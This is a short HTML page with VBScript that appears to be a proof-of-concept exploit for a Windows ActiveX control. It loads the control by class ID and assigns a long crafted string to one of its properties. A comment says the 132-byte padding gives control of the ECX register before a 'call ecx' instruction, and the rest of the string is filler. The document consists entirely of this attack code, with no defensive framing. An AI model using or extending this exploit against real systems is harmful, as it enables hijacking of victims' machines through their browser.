<
html
>
<
object
classid
=
'clsid:8AE9F829-D587-42BB-B5C1-09EE8D9547FA'
id
=
'target'
></
object
>
<
script
language
=
'vbscript'
>
' 132 bytes in we control ecx before the call ecx instruction
buffer = String(132, "A")
ecx = String(4, "B")
junk = String(3086, "C")
arg1 = buffer + ecx + junk
target.PEstrarg1 = arg1
</
script
>